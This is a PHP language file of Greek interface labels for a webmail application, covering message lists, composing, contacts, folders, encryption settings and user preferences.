$labels['listsorting'] = 'Ταξινόμηση στηλών';
$labels['listorder'] = 'Σειρά ταξινόμησης';
$labels['listmode'] = 'Προβολή σε λίστα';
$labels['lmode'] = 'Λειτουργία λίστας';
$labels['layout'] = 'Διάταξη';
$labels['layoutwidescreen'] = 'Ευρεία οθόνη';
$labels['layoutdesktop'] = 'Επιφάνεια εργασίας';
$labels['layoutlist'] = 'Λίστα';
$labels['layoutwidescreendesc'] = 'Ευρεία οθόνη (3 στήλες)';
$labels['layoutdesktopdesc'] = 'Επιφάνεια εργασίας (ευρεία λίστα και προεπισκόπηση mail παρακάτω)';
$labels['layoutlistdesc'] = 'Λίστα (χωρίς προεπισκόπηση)';
$labels['folderactions'] = 'Ενέργειες στους φακέλους';
$labels['compact'] = 'Συμπίεση';
$labels['empty'] = 'Άδειασμα';
$labels['importmessages'] = 'Εισαγωγή μηνυμάτων';
$labels['mailimportdesc'] = 'Μπορείτε να μεταφορτώσετε αλληλογραφία χρησιμοποιώντας αρχεία <a href="https://en.wikipedia.org/wiki/Email#Message_format">MIME</a> ή <a href="https://en.wikipedia.org/wiki/Mbox">Mbox</a>.';
$labels['mailimportzip'] = 'Τα πολλαπλά αρχεία δύνανται να συμπιεστούν σε αρχεία zip';
$labels['quota'] = 'Χρήση δίσκου';
$labels['unknown'] = 'άγνωστο';
$labels['unlimited'] = 'απεριόριστο';
$labels['quotatype'] = 'Είδος περιορισμού';
$labels['quotatotal'] = 'Όριο';
$labels['quotaused'] = 'Χρησιμοποιημένα';
$labels['quotastorage'] = 'Χώρος στο δίσκο';
$labels['quotamessage'] = 'Πλήθος μηνυμάτων';
$labels['shortheaderdate'] = 'Στις $date';
$labels['shortheaderto'] = 'Προς τον/ην $to στις $date';
$labels['shortheaderfrom'] = 'Από τον/ην $from στις $date';
$labels['quicksearch'] = 'Γρήγορη Αναζήτηση';
$labels['searchplaceholder'] = 'Αναζήτηση...';
$labels['resetsearch'] = 'Επαναφορά Αναζήτησης';
$labels['searchmod'] = 'Aλλαγή αναζήτησης';
$labels['msgtext'] = 'Σε όλο το μήνυμα';
$labels['body'] = 'Σώμα';
$labels['type'] = 'Τυπος';
$labels['namex'] = 'όνομα';
$labels['searchscope'] = 'Εύρος';
$labels['currentfolder'] = 'Τρέχων φάκελος';
$labels['subfolders'] = 'Αυτός και υποφάκελοι';
$labels['allfolders'] = 'Όλοι οι φάκελοι';
$labels['searchinterval-1W'] = 'παλιότερο από μια εβδομάδα';
$labels['searchinterval-1M'] = 'παλιότερο από ενα μήνα';
$labels['searchinterval-1Y'] = 'παλιότερο από ένα έτος';
$labels['searchinterval1W'] = 'νεότερο από μια εβδομάδα';
$labels['searchinterval1M'] = 'νεότερο από ένα μήνα';
$labels['searchinterval1Y'] = 'νεότερο από ένα έτος';
$labels['openinextwin'] = 'Άνοιγμα σε νέο παράθυρο';
$labels['emlsave'] = 'Λήψη αρχείου (.eml)';
$labels['changeformattext'] = 'Εμφάνιση σε μορφή απλού κειμένου';
$labels['changeformathtml'] = 'Εμφάνιση σε μορφή HTML';
$labels['editasnew'] = 'Επεξεργασία σαν νέο';
$labels['send'] = 'Αποστολή';
$labels['sendmessage'] = 'Αποστολή μηνύματος';
$labels['savemessage'] = 'Αποθήκευση ως πρόχειρο';
$labels['addattachment'] = 'Επισύναψη αρχείου';
$labels['charset'] = 'Κωδικοποίηση χαρακτήρων';
$labels['editortype'] = 'Είδος επεξεργαστή κειμένου';
$labels['returnreceipt'] = 'Αναφορά Παράδοσης';
$labels['dsn'] = 'Κατάσταση αναφοράς παράδοσης';
$labels['keepformatting'] = 'Διατήρηση μορφοποίησης';
$labels['mailreplyintro'] = 'Στις $date, $sender έγραψε:';
$labels['originalmessage'] = 'Αρχικό μήνυμα';
$labels['selectimage'] = 'Επιλογή εικόνας';
$labels['addimage'] = 'Προσθήκη εικόνας';
$labels['selectmedia'] = 'Επιλογή ταινίας';
$labels['addmedia'] = 'Προσθήκη ταινίας';
$labels['encrypt'] = 'Κρυπτογράφηση';
$labels['encryptmessage'] = 'Κρυπτογράφηση μηνύματος';
$labels['encryptmessagemailvelope'] = 'Κρυπτογράφηση μηνύματος με το Mailvelope';
$labels['importpubkeys'] = 'Εισαγωγή δημόσιων κλειδιών';
$labels['encryptedsendialog'] = 'Αποστέλλεται κρυπτογραφημένο μήνυμα';
$labels['encryptandsign'] = 'Κρυπτογράφηση και υπογραφή';
$labels['keyid'] = 'Ταυτότητα κλειδιού';
$labels['keylength'] = 'Bits';
$labels['keyexpired'] = 'Έχει λήξει';
$labels['keyrevoked'] = 'Έχει αποσυρθεί';
$labels['bccinstead'] = 'Χρήση Bcc';
$labels['addheader'] = 'Προσθήκη παραλήπτη (κεφαλίδα)';
$labels['insert'] = 'Εισαγωγή';
$labels['insertcontact'] = 'Προσθήκη επαφής(-ων)';
$labels['recipient'] = 'Παραλήπτης';
$labels['recipientedit'] = 'Επεξεργασία παραληπτών';
$labels['editidents'] = 'Επεξεργασία ταυτοτήτων';
$labels['spellcheck'] = 'Συλλαβισμός';
$labels['checkspelling'] = 'Έλεγχος ορθογραφίας';
$labels['resumeediting'] = 'Συνέχεια επεξεργασίας';
$labels['revertto'] = 'Επαναφορά στο';
$labels['restore'] = 'Επαναφορά';
$labels['restoremessage'] = 'Επαναφορά μηνύματος;';
$labels['ignore'] = 'Παράβλεψη';
$labels['responses'] = 'Απαντήσεις';
$labels['insertresponse'] = 'Εισάγετε μια απάντηση';
$labels['manageresponses'] = 'Διαχείριση απαντήσεων';
$labels['newresponse'] = 'Δημιουργία νέας απάντησης';
$labels['addresponse'] = 'Προσθήκη απάντησης';
$labels['editresponse'] = 'Μεταβολή απάντησης';
$labels['editresponses'] = 'Μεταβολή απαντήσεων';
$labels['responsename'] = 'Όνομα';
$labels['responsetext'] = 'Κείμενο απάντησης';
$labels['attach'] = 'Επισύναψη';
$labels['attachments'] = 'Συνημμένα';
$labels['upload'] = 'Φόρτωση';
$labels['uploadprogress'] = '$percent ($current από $total)';
$labels['close'] = 'Κλείσιμο';
$labels['messageoptions'] = 'Επιλογές μηνύματος';
$labels['togglecomposeoptions'] = 'Εναλλαγή επιλογών σύνθεσης';
$labels['attachmentrename'] = 'Μετονομασία συνημμένου';
$labels['low'] = 'Χαμηλή';
$labels['lowest'] = 'Χαμηλότερη';
$labels['normal'] = 'Κανονική';
$labels['high'] = 'Υψηλή';
$labels['highest'] = 'Μέγιστη δυνατή';
$labels['nosubject'] = '(χωρίς θέμα)';
$labels['showimages'] = 'Προβολή εικόνων';
$labels['allow'] = 'Να επιτρέπεται';
$labels['alwaysshow'] = 'Να προβάλλονται πάντα οι εικόνες που αποστέλλονται από τον $sender';
$labels['alwaysallow'] = 'Να επιτρέπεται πάντα από τον/την $sender';
$labels['isdraft'] = 'Αυτό το μήνυμα έχει σημανθεί σαν πρόχειρο';
$labels['andnmore'] = '$nr περισσότερα...';
$labels['details'] = 'Λεπτομέρειες';
$labels['summary'] = 'Συνοπτικά';
$labels['headers'] = 'Κεφαλίδες';
$labels['allheaders'] = 'Όλες οι κεφαλίδες...';
$labels['togglemoreheaders'] = 'Εμφάνιση περισσότερων κεφαλίδων';
$labels['togglefullheaders'] = 'Εμφάνιση ακατέργαστων κεφαλίδων μηνύματος';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Απλό κείμενο';
$labels['savesentmessagein'] = 'Αποθήκευση απεσταλμένου στο φάκελο';
$labels['dontsave'] = 'να μην αποθηκευθεί';
$labels['maxuploadsize'] = 'Το μέγιστο επιτρεπόμενο μέγεθος αρχείου είναι $size';
$labels['addcc'] = 'Προσθήκη Παραλήπτη Κοινοποίησης';
$labels['addbcc'] = 'Προσθήκη Παραλήπτη Κρυφής Κοινοποίησης';
$labels['addreplyto'] = 'Προσθήκη Απάντησης-Στο';
$labels['addfollowupto'] = 'Προσθήκη Σε συνέχεια του';
$labels['sendreceipt'] = 'Αποστολή αποδεικτικού ανάγνωσης;';
$labels['mdnrequest'] = 'Ο αποστολέας αυτού του μηνύματος, έχει ζητήσει να ειδοποιηθεί όταν θα το διαβάσετε. Θέλετε να επιτρέψετε την ενημέρωσή του;';
$labels['receiptread'] = 'Αναφορά παράδοσης (διαβάστε την)';
$labels['yourmessage'] = 'Αυτό είναι μια αναφορά παράδοσης για το μήνυμά σας';
$labels['receiptnote'] = 'Σημείωση: Αυτή η αναφορά επιβεβαιώνει μόνο ότι το μήνυμά σας εμφανίστηκε στον υπολογιστή του παραλήπτη. Δεν επιβεβαιώνει ότι ο παραλήπτης έχει διαβάσει ή έχει κατανοήσει το περιεχόμενό του.';
$labels['sendalwaysto'] = 'Να αποστέλλεται πάντα στον/στην $email';
$labels['zoomin'] = 'Μεγέθυνση';
$labels['zoomout'] = 'Σμίκρυνση';
$labels['rotate'] = 'Περιστροφή';
$labels['increaseimage'] = 'Αύξηση μεγέθους εικόνας';
$labels['decreaseimage'] = 'Σμίκρυνση μεγέθους εικόνας';
$labels['rotateimage'] = 'Περιστροφή εικόνας';
$labels['showtools'] = 'Εμφάνιση εργαλείων εικόνας';
$labels['hidetools'] = 'Απόκρυψη εργαλείων εικόνας';
$labels['name'] = 'Εμφανιζόμενο όνομα';
$labels['firstname'] = 'Όνομα';
$labels['surname'] = 'Επώνυμο';
$labels['middlename'] = 'Πατρώνυμο';
$labels['nameprefix'] = 'Πρόθεμα';
$labels['namesuffix'] = 'Κατάληξη';
$labels['nickname'] = 'Ψευδώνυμο';
$labels['jobtitle'] = 'Τίτλος εργασίας';
$labels['department'] = 'Τμήμα';
$labels['gender'] = 'Φύλο';
$labels['maidenname'] = 'Πατρώνυμο';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Τηλέφωνο';
$labels['address'] = 'Διεύθυνση';
$labels['street'] = 'Οδός';
$labels['locality'] = 'Πόλη';
$labels['zipcode'] = 'ΤΚ';
$labels['region'] = 'Νομός';
$labels['country'] = 'Χώρα';
$labels['birthday'] = 'Ημερ/νία Γέννησης';
$labels['anniversary'] = 'Επέτειος';
$labels['website'] = 'Ιστοσελίδα';
$labels['instantmessenger'] = 'IM';
$labels['notes'] = 'Σημειώσεις';
$labels['male'] = 'άνδρας';
$labels['female'] = 'γυναίκα';
$labels['manager'] = 'Υπεύθυνος';
$labels['assistant'] = 'Υπάλληλος';
$labels['spouse'] = 'Σύζυγος';
$labels['allfields'] = 'Όλα τα πεδία';
$labels['search'] = 'Αναζήτηση';
$labels['searchresult'] = 'Αποτελέσματα αναζήτησης';
$labels['advsearch'] = 'Προηγμένη Αναζήτηση';
$labels['advanced'] = 'Προχωρημένες ρυθμίσεις';
$labels['other'] = 'Άλλα';
$labels['printcontact'] = 'Εκτύπωση επαφής';
$labels['qrcode'] = 'QR Code';
$labels['typehome'] = 'Οικία';
$labels['typework'] = 'Εργασία';
$labels['typeother'] = 'Άλλα';
$labels['typemobile'] = 'Κινητό';
$labels['typemain'] = 'Κύρια';
$labels['typehomefax'] = 'Φαξ οικίας';
$labels['typeworkfax'] = 'Φαξ εργασίας';
$labels['typecar'] = 'Αυτοκίνητο';
$labels['typepager'] = 'Βομβητής';
$labels['typevideo'] = 'Βίντεο';
$labels['typeassistant'] = 'Υπάλληλος';
$labels['typehomepage'] = 'Αρχική Σελίδα';
$labels['typeblog'] = 'Ιστολόγιο';
$labels['typeprofile'] = 'Προφίλ';
$labels['addfield'] = 'Προσθήκη πεδίου...';
$labels['addcontact'] = 'Προσθήκη επαφής';
$labels['editcontact'] = 'Επεξεργασία επαφής';
$labels['contacts'] = 'Επαφές';
$labels['contactproperties'] = 'Ιδιότητες επαφών';
$labels['contactnameandorg'] = 'Όνομα και οργανισμός';
$labels['personalinfo'] = 'Προσωπικές πληροφορίες';
$labels['personal'] = 'Προσωπικά';
$labels['contactphoto'] = 'Φωτογραφία επαφής';
$labels['edit'] = 'Επεξεργασία';
$labels['cancel'] = 'Ακύρωση';
$labels['save'] = 'Αποθήκευση';
$labels['delete'] = 'Διαγραφή';
$labels['discard'] = 'Διαγραφή';
$labels['continue'] = 'Συνέχεια';
$labels['ok'] = 'OK';
$labels['rename'] = 'Μετονομασία';
$labels['addphoto'] = 'Προσθήκη';
$labels['replacephoto'] = 'Αντικατάσταση';
$labels['uploadphoto'] = 'Φόρτωση εικόνας';
$labels['choosefile'] = 'Επιλέξτε αρχείο...';
$labels['choosefiles'] = 'Επιλέξτε αρχεία...';
$labels['browse'] = 'Περιήγηση';
$labels['newcontact'] = 'Δημιουργία νέας επαφής';
$labels['deletecontact'] = 'Διαγραφή επιλεγμένων επαφών';
$labels['composeto'] = 'Σύνθεση μηνύματος προς';
$labels['contactsfromto'] = 'Επαφή $from από $to έως $count';
$labels['print'] = 'Εκτύπωση';
$labels['export'] = 'Εξαγωγή';
$labels['exportall'] = 'Εξαγωγή όλων';
$labels['exportsel'] = 'Εξαγωγή επιλεγμένων';
$labels['exportvcards'] = 'Εξαγωγή επαφών σε vCard';
$labels['newgroup'] = 'Δημιουργία νέας ομάδας';
$labels['addgroup'] = 'Προσθήκη ομάδας';
$labels['grouprename'] = 'Μετονομασία ομάδας';
$labels['groupdelete'] = 'Διαγραφή ομάδας';
$labels['groupassign'] = 'Εκχώρηση στην ομάδα...';
$labels['groupremove'] = 'Κατάργηση από την ομάδα...';
$labels['groupremoveselected'] = 'Αφαίρεση επιλεγμένων επαφών από την ομάδα';
$labels['uponelevel'] = 'Πάνω ένα επίπεδο';
$labels['previouspage'] = 'Εμφάνιση προηγούμενης σελίδας';
$labels['firstpage'] = 'Εμφάνιση της πρώτης σελίδας';
$labels['nextpage'] = 'Εμφάνιση επόμενης σελίδας';
$labels['lastpage'] = 'Εμφάνιση της τελευταίας σελίδας';
$labels['group'] = 'Ομάδα';
$labels['groups'] = 'Ομάδες';
$labels['listgroup'] = 'Μέλη της ομάδας λίστας';
$labels['personaladrbook'] = 'Προσωπικές Διευθύνσεις';
$labels['searchsave'] = 'Αποθήκευση αναζήτησης';
$labels['searchdelete'] = 'Διαγραφή αποθηκευμένης αναζήτησης';
$labels['import'] = 'Εισαγωγή';
$labels['importcontacts'] = 'Εισαγωγή επαφών';
$labels['importfromfile'] = 'Εισαγωγή από αρχείο';
$labels['importtarget'] = 'Προσθήκη επαφών σε';
$labels['importreplace'] = 'Αντικατάσταση όλου του βιβλίου διευθύνσεων';
$labels['importgroups'] = 'Εισαγωγή αναθέσεων ομάδων';
$labels['importgroupsall'] = 'Όλα (δημιουργία ομάδων αν είναι απαραίτητο)';
$labels['importgroupsexisting'] = 'Μόνο για υπάρχουσες ομάδες';
$labels['importdesc'] = 'Μπορείτε να μεταφορτώσετε επαφές από ένα υπάρχον ευρετήριο.<br/>Προς το παρόν υποστηρίζουμε την εισαγωγή διευθύνσεων με μορφή <a href="https://en.wikipedia.org/wiki/VCard">vCard</a> ή CSV (διαχωρισμένες με κόμμα).';
$labels['importmapdesc'] = 'Επιβεβαιώστε ότι οι παρακάτω πληροφορίες αντιστοίχισης πεδίων είναι σωστές πριν προχωρήσετε στην εισαγωγή δεδομένων CSV (διαχωρισμένα με κόμμα).';
$labels['fieldnotmapped'] = 'Πεδίο χωρίς αντιστοίχιση (να μην εισαχθεί)';
$labels['skipheader'] = 'Να μην εισαχθεί η πρώτη γραμμή (κεφαλίδα)';
$labels['done'] = 'Ολοκληρώθηκε';
$labels['settingsfor'] = 'Ρυθμίσεις για';
$labels['about'] = 'Σχετικά';
$labels['preferences'] = 'Προτιμήσεις';
$labels['userpreferences'] = 'Προτιμήσεις χρήστη';
$labels['editpreferences'] = 'Επεξεργασία προτιμήσεων χρήστη';
$labels['identities'] = 'Ταυτότητες';
$labels['manageidentities'] = 'Διαχείριση ταυτοτήτων';
$labels['newidentity'] = 'Δημιουργία νέας ταυτότητας';
$labels['addidentity'] = 'Προσθήκη ταυτότητας';
$labels['editidentity'] = 'Επεξεργασία ταυτότητας';
$labels['identityencryption'] = 'Κρυπτογράφηση';
$labels['preferhtml'] = 'Προβολή σε HTML';
$labels['defaultcharset'] = 'Προεπιλεγμένη κωδικοποίηση χαρακτήρων';
$labels['htmlmessage'] = 'Μήνυμα σε μορφή HTML';
$labels['messagepart'] = 'Μέρος';
$labels['digitalsig'] = 'Ψηφιακή Υπογραφή';
$labels['dateformat'] = 'Μορφή ημερομηνίας';
$labels['timeformat'] = 'Μορφή ώρας';
$labels['prettydate'] = 'Κομψή ημερ/νία';
$labels['setdefault'] = 'Ορισμός ως προεπιλογή';
$labels['autodetect'] = 'Αυτόματα';
$labels['language'] = 'Γλώσσα';
$labels['timezone'] = 'Ζώνη Ώρας';
$labels['pagesize'] = 'Γραμμές ανά σελίδα';
$labels['signature'] = 'Υπογραφή';
$labels['dstactive'] = 'Θερινή ώρα';
$labels['showinextwin'] = 'Άνοιγμα μηνύματος σε νέο παράθυρο';
$labels['composeextwin'] = 'Σύνθεση μηνύματος σε νέο παράθυρο';
$labels['htmleditor'] = 'Δημιουργία μηνύματος σε μορφή HTML';
$labels['htmlonreply'] = 'μόνο σε απάντηση μηνύματος μορφής HTML';
$labels['htmlonreplyandforward'] = 'σε προώθηση ή σε απάντηση σε HTML μήνυμα';
$labels['htmlsignature'] = 'Υπογραφή HTML';
$labels['showemail'] = 'Εμφάνιση διεύθυνσης e-mail με το εμφανιζόμενο όνομα';
$labels['previewpane'] = 'Εμφάνιση προεπισκόπησης';
$labels['skin'] = 'Θέμα εμφάνισης';
$labels['logoutclear'] = 'Άδειασμα του κάδου στην έξοδο';
$labels['logoutcompact'] = 'Συμπίεση φακέλου εισερχομένων στην έξοδο';
$labels['uisettings'] = 'Περιβάλλον χρήστη';
$labels['serversettings'] = 'Ρυθμίσεις διακομιστή';
$labels['mailboxview'] = 'Προβολή Μηνυμάτων';
$labels['mdnrequests'] = 'Όταν ο αποστολέας έχει ζητήσει αναφορά παράδοσης';
$labels['askuser'] = 'ρώτησέ με';
$labels['autosend'] = 'στείλε αυτόματα την απόδειξη παραλαβής';
$labels['autosendknown'] = 'στείλε αυτόματα αποδείξεις παραλαβής σε όσους έχω στις επαφές, για τους άλλους ρώτα με';
$labels['autosendknownignore'] = 'στείλε αυτόματα αποδείξεις παραλαβής σε όσους έχω στις επαφές, για τους άλλους καμιά ενέργεια';
$labels['autosendtrusted'] = 'αποστολή απόδειξης σε έμπιστους αποστολείς, αλλιώς να ερωτηθώ';
$labels['autosendtrustedignore'] = 'αποστολή απόδειξης σε έμπιστους αποστολείς, αλλιώς να αγνοηθεί';
$labels['ignorerequest'] = 'παράβλεψη αιτήματος';
$labels['readwhendeleted'] = 'Κατά τη διαγραφή του μηνύματος, μαρκάρισέ το σαν αναγνωσμένο';
$labels['flagfordeletion'] = 'Αντί να το διαγράψεις, απλά και μόνο σημείωσέ το';
$labels['skipdeleted'] = 'Να μην εμφανίζονται τα διαγραμμένα μηνύματα';
$labels['deletealways'] = 'αν η μετακίνηση στον κάδο αποτύχει, διέγραψέ τα';
$labels['deletejunk'] = 'Άμεση διαγραφή μηνυμάτων στα Ανεπιθύμητα';
$labels['showremoteimages'] = 'Να εμφανίζονται οι εικόνες που έχουν αποσταλεί σε συνδέσμους';
$labels['allowremoteresources'] = 'Να επιτρέπονται οι απομακρυσμένοι πόροι (εικόνες, ύφος)';
$labels['fromknownsenders'] = 'από γνωστούς αποστολείς';
$labels['fromtrustedsenders'] = 'από έμπιστους αποστολείς';
$labels['frommycontacts'] = 'από τις επαφές μου';
$labels['always'] = 'πάντα';
$labels['alwaysbutplain'] = 'πάντα, εκτός όταν απαντάω σε απλό κείμενο';
$labels['showinlineimages'] = 'Οι συνημμένες εικόνες να προβάλλονται στο τέλος του μηνήματος';
$labels['autosavedraft'] = 'Να γίνεται αυτόματη αποθήκευση σαν πρόχειρο';
$labels['everynminutes'] = 'κάθε $n λεπτό/α';
$labels['refreshinterval'] = 'Επαναφόρτωση (έλεγχος για νέα μηνύματα, κλπ.)';
$labels['never'] = 'ποτέ';
$labels['immediately'] = 'άμεσα';
$labels['messagesdisplaying'] = 'Προβολή Μηνυμάτων';
$labels['messagescomposition'] = 'Δημιουργία Μηνυμάτων';
$labels['mimeparamfolding'] = 'Ονόματα συνημμένων αρχείων';
$labels['2231folding'] = 'Full RFC 2231 (μορφή Thunderbird)';
$labels['miscfolding'] = 'RFC 2047/2231 (μορφή MS Outlook)';
$labels['2047folding'] = 'Full RFC 2047 (άλλη μορφή)';
$labels['force7bit'] = 'Να γίνεται χρήση της κωδικοποίησης MIME για τους χαρακτήρες 8-bit';
$labels['savelocalstorage'] = "Προσωρινή αποθήκευση στην τοπική αποθήκη του περιηγητή";
$labels['advancedoptions'] = 'Προχωρημένες επιλογές';
$labels['toggleadvancedoptions'] = 'Εναλλαγή προχωρημένων επιλογών';
$labels['focusonnewmessage'] = 'Τα νέα μηνύματα να επιλέγονται αυτόματα';
$labels['checkallfolders'] = 'Να γίνεται έλεγχος σε όλους τους φακέλους για νέα μηνύματα';
$labels['displaynext'] = 'Εμφάνιση της επόμενης καταχώρησης μετά τη διαγραφή/μετακίνηση';
$labels['defaultfont'] = 'Προεπιλεγμένη γραμματοσειρά για τα μηνύματα μορφής HTML';
$labels['mainoptions'] = 'Βασικές επιλογές';
$labels['browseroptions'] = 'Επιλογές περιηγητή';
$labels['section'] = 'Ενότητα';
$labels['maintenance'] = 'Συντήρηση';
$labels['newmessage'] = 'Νέο Μήνυμα';
$labels['signatureoptions'] = 'Επιλογές υπογραφής';
$labels['whenreplying'] = 'Στις απαντήσεις';
$labels['replyempty'] = 'χωρίς παράθεση του αρχικού μηνύματος';
$labels['replytopposting'] = 'το νέο μήνυμα να είναι πάνω από το αρχικό';
$labels['replytoppostingnoindent'] = 'εμφάνιση του νέου μηνύματος πάνω από το αρχικό (χωρίς εσοχή)';
$labels['replybottomposting'] = 'το νέο μήνυμα να είναι κάτω από το αρχικό';
$labels['replyremovesignature'] = 'Όταν το μήνυμα είναι απάντηση, να αφαιρείται η υπογραφή του αρχικού μηνύματος';
$labels['autoaddsignature'] = 'Η υπογραφή να προστίθεται αυτόματα';
$labels['newmessageonly'] = 'μόνο στα νέα μηνύματα';
$labels['replyandforwardonly'] = 'μόνο στις απαντήσεις και προωθήσεις';
$labels['insertsignature'] = 'Προσθήκη υπογραφής';
$labels['sigbelow'] = 'Τοποθέτηση υπογραφής κάτω από το παρατιθέν μήνυμα';
$labels['sigseparator'] = 'Εξαναγκασμός προκαθορισμένου διαχωριστικού στις υπογραφές';
$labels['automarkread'] = 'Επισήμανση ως αναγνωσμένα';
$labels['afternseconds'] = 'μετά από $n δευτερόλεπτα';
$labels['reqmdn'] = 'Να γίνεται πάντα αίτηση για αναφορά απάντησης';
$labels['reqdsn'] = 'Να γίνεται πάντα αίτηση για αναφορά παράδοσης';
$labels['replysamefolder'] = 'Τα μηνύματα που είναι απαντήσεις να τοποθετούνται σε ξεχωριστό φάκελο';
$labels['defaultabook'] = 'Προκαθορισμένο βιβλίο διευθύνσεων';
$labels['autocompletesingle'] = 'Να μην χρησιμοποιούνται οι εναλλακτικές διευθύνσεις κατά την αυτόματη συμπλήρωση';
$labels['listnamedisplay'] = 'Εμφάνιση επαφών ως';
$labels['contactformmode'] = 'Μορφή φόρμας επικοινωνίας';
$labels['privatemode'] = 'Προσωπικό (Οικίας)';
$labels['businessmode'] = 'Επαγγελματικό (Εργασίας)';
$labels['collectedaddresses'] = 'Συλλεχθείσες διευθύνσεις';
$labels['collectedrecipients'] = 'Συλλεγέντες Παραλήπτες';
$labels['collectedrecipientsopt'] = 'Αποθήκευση παραληπτών εξερχομένων email σε';
$labels['collectedsendersopt'] = 'Αποθήκευση έμπιστων αποστολέων σε';
$labels['trustedsenders'] = 'Έμπιστοι Αποστολείς';
$labels['spellcheckbeforesend'] = 'Να γίνεται πάντα έλεγχος ορθογραφίας πριν την αποστολή του μηνύματος';
$labels['spellcheckoptions'] = 'Επιλογές Ορθογραφικού ελέγχου';
$labels['spellcheckignoresyms'] = 'Οι λέξεις που περιέχουν σύμβολα να αγνοούνται';
$labels['spellcheckignorenums'] = 'Οι λέξεις που περιέχουν αριθμούς να αγνοούνται';
$labels['spellcheckignorecaps'] = 'Οι λέξεις γραμμένες με ΚΕΦΑΛΑΙΑ να αγνοούνται';
$labels['addtodict'] = 'Προσθήκη στο λεξικό';
$labels['mailtoprotohandler'] = 'Καταχώρηση διαχείρισης πρωτοκόλλου δεσμών mailto:';
$labels['standardwindows'] = 'Χειριστείτε τα αναδυόμενα παράθυρα ως πρότυπο των Windows';
$labels['forwardmode'] = 'Προώθηση μηνυμάτων';
$labels['inline'] = 'με εσνωμάτωση';
$labels['asattachment'] = 'σαν επισύναψη';
$labels['replyallmode'] = 'Προεπιλεγμένη ενέργεια του κουμπιού [Απάντηση σε όλους]';
$labels['replyalldefault'] = 'απάντηση σε όλους';
$labels['replyalllist'] = 'Απάντηση μόνο σε λίστα e-mail (αν υπάρχει)';
$labels['allmessages'] = 'όλα τα μηνύματα';
$labels['olderxdays'] = 'άνω των $x ημερών';
$labels['folder'] = 'Φάκελος';
$labels['folders'] = 'Φάκελοι';
$labels['foldername'] = 'Όνομα φακέλου';
$labels['subscribed'] = 'Εγγεγραμμένος';
$labels['messagecount'] = 'Μηνύματα';
$labels['create'] = 'Δημιουργία';
$labels['createfolder'] = 'Δημιουργία νέου φακέλου';
$labels['managefolders'] = 'Διαχείριση φακέλων';
$labels['specialfolders'] = 'Ειδικοί Φάκελοι';
$labels['properties'] = 'Ιδιότητες';
$labels['folderproperties'] = 'Ιδιότητες φακέλου';
$labels['parentfolder'] = 'Γονικός φάκελος';
$labels['location'] = 'Τοποθεσία';
$labels['info'] = 'Πληροφορίες';
$labels['getfoldersize'] = 'Κάντε κλικ εδώ για να δείτε το μέγεθος του φακέλου';
$labels['changesubscription'] = 'Κάντε κλικ εδώ για να αλλάξετε τη συνδρομή σας';
$labels['foldertype'] = 'Τύπος φακέλου';
$labels['personalfolder'] = 'Προσωπικός φάκελος';
$labels['otherfolder'] = 'Φάκελοι άλλων χρηστών';
$labels['sharedfolder'] = 'Κοινόχρηστος φάκελος';
$labels['findfolders'] = 'Εύρεση φακέλων';
$labels['findcontacts'] = 'Εύρεση επαφών';
$labels['findmail'] = 'Εύρεση αλληλογραφίας';
$labels['namespace.personal'] = 'Προσωπικά';
$labels['namespace.other'] = 'Άλλοι χρήστες';
$labels['namespace.shared'] = 'Διαμοιρασμένος';
$labels['dualuselabel'] = 'Δύναται να περιέχει μόνο';
$labels['dualusemail'] = 'μηνύματα';
$labels['dualusefolder'] = 'φάκελοι';
$labels['generate'] = 'Δημιουργία';
$labels['encryptioncreatekey'] = 'Δημιουργία νέου ζεύγους κλειδιού';
$labels['openmailvelopesettings'] = 'Άνοιγμα Ρυθμίσεων Mailvelope';
$labels['encryptionprivkeysinmailvelope'] = 'Έχετε $nr παρόμοια ιδιωτικά κλειδιά αποθηκευμένα στην κλειδοθήκη Mailvelope:';
$labels['encryptionnoprivkeysinmailvelope'] = 'Ο παρών αποστολέας δεν έχει ακόμη ιδιωτικό κλειδί PGP αποθηκευμένο στην επέκταση Mailvelope σας. Θα θέλατε να δημιουργήσετε ένα ώστε ενεργοποιήσετε την κρυπτογραφημένη ανταλλαγή μηνυμάτων;';
$labels['encryption'] = 'Κρυπτογράφηση';
$labels['mailvelopeoptions'] = 'Ρυθμίσεις Mailvelope';
$labels['mailvelopemainkeyring'] = 'Χρήση κύριας κλειδοθήκης Mailvelope';
$labels['mailvelopenotfound'] = 'Η επέκταση Mailvelope δεν είναι ενεργοποιημένη/εγκατεστημένη στον browser σας.';
$labels['sortby'] = 'Ταξινόμηση κατά';
$labels['sortasc'] = 'Αύξουσα ταξινόμηση';
$labels['sortdesc'] = 'Φθίνουσα ταξινόμηση';
$labels['undo'] = 'Αναίρεση';
$labels['installedplugins'] = 'Εγκατεστημένα πρόσθετα';
$labels['plugin'] = 'Πρόσθετο';
$labels['version'] = 'Έκδοση';
$labels['source'] = 'Προέλευση';
$labels['destination'] = 'Προορισμός';
$labels['license'] = 'Άδεια χρήσης';
$labels['support'] = 'Υποστήριξη';
$labels['savedsearches'] = 'Αποθηκευμένες αναζητήσεις';
$labels['dateformatY'] = 'YYYY';
$labels['dateformaty'] = 'YY';
$labels['dateformatm'] = 'MM';
$labels['dateformatd'] = 'DD';
$labels['dateformatj'] = 'D';
$labels['dateformatn'] = 'M';
$labels['B'] = 'B';
$labels['KB'] = 'KB';
$labels['MB'] = 'MB';
$labels['GB'] = 'GB';
$labels['unicode'] = 'Unicode';
$labels['english'] = 'Αγγλικά';
$labels['westerneuropean'] = 'Δυτικής Ευρώπης';
$labels['easterneuropean'] = 'Ανατολικής Ευρώπης';
$labels['southeasterneuropean'] = 'Νοτιο-Ανατολικής Ευρώπης';
$labels['baltic'] = 'Βαλτικής';
$labels['cyrillic'] = 'Κυριλλικά';
$labels['arabic'] = 'Αραβικά';
$labels['greek'] = 'Ελληνικά';
$labels['hebrew'] = 'Εβραϊκά';
$labels['turkish'] = 'Τουρκικά';
$labels['nordic'] = 'Σκανδιναβικά';
$labels['thai'] = 'Ταϊλανδέζικα';
$labels['celtic'] = 'Κελτικά';
$labels['vietnamese'] = 'Βιετναμέζικα';
$labels['japanese'] = 'Ιαπωνικά';
$labels['korean'] = 'Κορεατικά';
$labels['chinese'] = 'Κινεζικά';
$labels['arialabeltopnav'] = 'Έλεγχος παραθύρου';
$labels['arialabeltasknav'] = 'Εργασίες εφαρμογής';
$labels['arialabeltoolbar'] = 'Μπάρα εργαλείων εφαρμογής';
$labels['arialabellistnav'] = 'Πλοήγηση λίστας';
$labels['arialabelactivetask'] = 'Ενεργή εργασία';
